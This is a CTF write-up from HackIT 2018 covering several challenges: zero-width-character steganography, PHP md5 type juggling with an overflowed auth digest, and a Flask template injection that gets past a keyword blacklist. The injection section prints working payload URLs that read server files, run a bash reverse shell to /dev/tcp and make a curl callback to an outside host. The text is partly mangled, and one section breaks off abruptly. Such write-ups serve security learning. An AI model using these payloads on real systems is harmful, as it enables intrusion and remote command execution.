Welcome to the HackIT 2018 CTF, flag is somewhere here. ¯_(ツ)_/¯
And only that.
Then two hints where added:
Get Going hint: Do you see only Ascii on that w3lcome(put the correct word of that page) page. Really?
Get Going hint2: Zero Width Concept.
As we can see here there is a lot of invisible characters:
This technique was used to fingerprint journalists when copy/pasting.
Finally I installed zwsp-steg and write this very short script in javascript:
1 2 3 4 5
constZwspSteg = require('zwsp-steg');
let decoded = ZwspSteg.decode('Welcome to the HackIT 2018 CTF, flag is somewhere here. ¯_(ツ)_/¯ ');
So we have the source code of the app and auth.so, a dynamic library used for authentication.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
<?php include'flag.php'; $username = substr($_GET['u'],0,25); $password = substr($_GET['p'],0,45); echo"Hello <b>Baby:</b><br>You may need <a href=\"/?source\">this</a> and/or <a href=\"/auth.so\">this</a><br>"; if (isset($_GET['source'])){ show_source(__FILE__); } $digest = @auth($username,$password); if (md5($username) == md5($digest) and$digest !== $username){ echo"you are a good boy here is your flag : <b>$flag</b>"; } else { echo"you are not a good boy so no flag for you :("; }
This piece of code (md5($username) == md5($digest) and $digest !== $username) looks like we will have to do a classic PHP type juggling.
But currently we don't know what is the digest $digest = @auth($username,$password);, that's why we need to reverse auth.so.
Once someone of my team told me that in auth.so digest was outputting a hardcoded string and it was possible to overflow it at a fixed length, I began to work on that.
From PayloadsAllTheThings we already know that md5('240610708') == md5('QNKCDZO') in PHP.
So we need to overflow $digest with a value we control in $password, so we will have md5('magic_hash_1') == md5('overflow' + 'magic_hash_2') but md5('magic_hash_1') !== md5('magic_hash_2').
The only thing left is to know the buffer length that we will need to overflow. We have multiple choices:
continue to reverse auth.so (long and boring)
inject auth.so in a local copy of the website and find by ourselves
bruteforce until we have it (quick and fun)
We already know that password can't be larger than 46 chars $password = substr($_GET['p'],0,45);, so the overflow must be smaller or equal. Basically this will take less than 46 requests to the remote server to find out.
So we can bruteforce password by adding A one by one like this:
http://185.168.131.123/%7B%7Bconfig%7D%7D => Internal Server Error: config must be blacklisted
http://185.168.131.123/%7B%7Bg%7D%7D => <flask.g of 'app'> nice we have a Flask web app
So from Shrine web challenge we did not so long ago during Tokyo Western CTF, I take back our previous payload and modified it a little: http://185.168.131.123/%7B%7Burl_for.__globals__.current_app.__dict__%7D%7D.
We are used to url_for, let's use get_flashed_messages to change :D
http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.current_app.__dict__%7D%7D is dumping all global variables from the Flask app context:
http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.current_app.config%7D%7D => Internal Server Error, this should work, it actually works for any other variables, config must be blacklisted.
I can access object, eval, file, socket and os from http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__%7D%7D
So we can read the source of the challenge for example with http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.__builtins__.file('/opt/app/app.py').read()%7D%7D.
1 2 3 4 5
from flask import Flask, render_template, render_template_string app = Flask(__name__) defblacklist_replace(template): blacklist = ["[", "]", "config", "self", "from_pyfile", "|", "join", "mro", "class", "request", "pop", "attr", "args", "+"] for b in blacklist: if b in template: template = template.replace(b, "") return template @app.route("/") defindex_template(): return"Hello! I have been contacted by those who try to save the network. I tried to protect myself. Can you test out if I am secure now? <a href='/test'>See this</a>" @app.route("/<path:template>") def blacklist_template(template): if len(template) > 10000: return "This is too long" while blacklist_replace(template) != template: template = blacklist_replace(template) return render_template_string(template) if __name__ == '__main__': app.run(debug = False)
The source is not so useful but allow us to see what is blacklisted. Now let's os, we have access to it!
With http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.os.system('bash -i >& /dev/tcp/x.x.x.x/9999 0>&1')%7D%7D we tried to lunch a reverse shell but as the challenge app should be in a docker container, only the web port must be exposed.
So instead of using raw TCP connection k3y has the idea to make a HTTP connection like this http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.os.system('curl mydomain:8080')%7D%7D.
I used a python HTTP reflector script on my server but it is possible to use some service like requestbin.
defmain(): port = 8080 print('Listening on localhost:%s' % port) server = HTTPServer(('', port), RequestHandler) server.serve_forever()
if __name__ == "__main__": parser = OptionParser() parser.usage = ("Creates an http-server that will echo out any GET or POST parameters\n" "Run:\n\n" " reflect") (options, args) = parser.parse_args()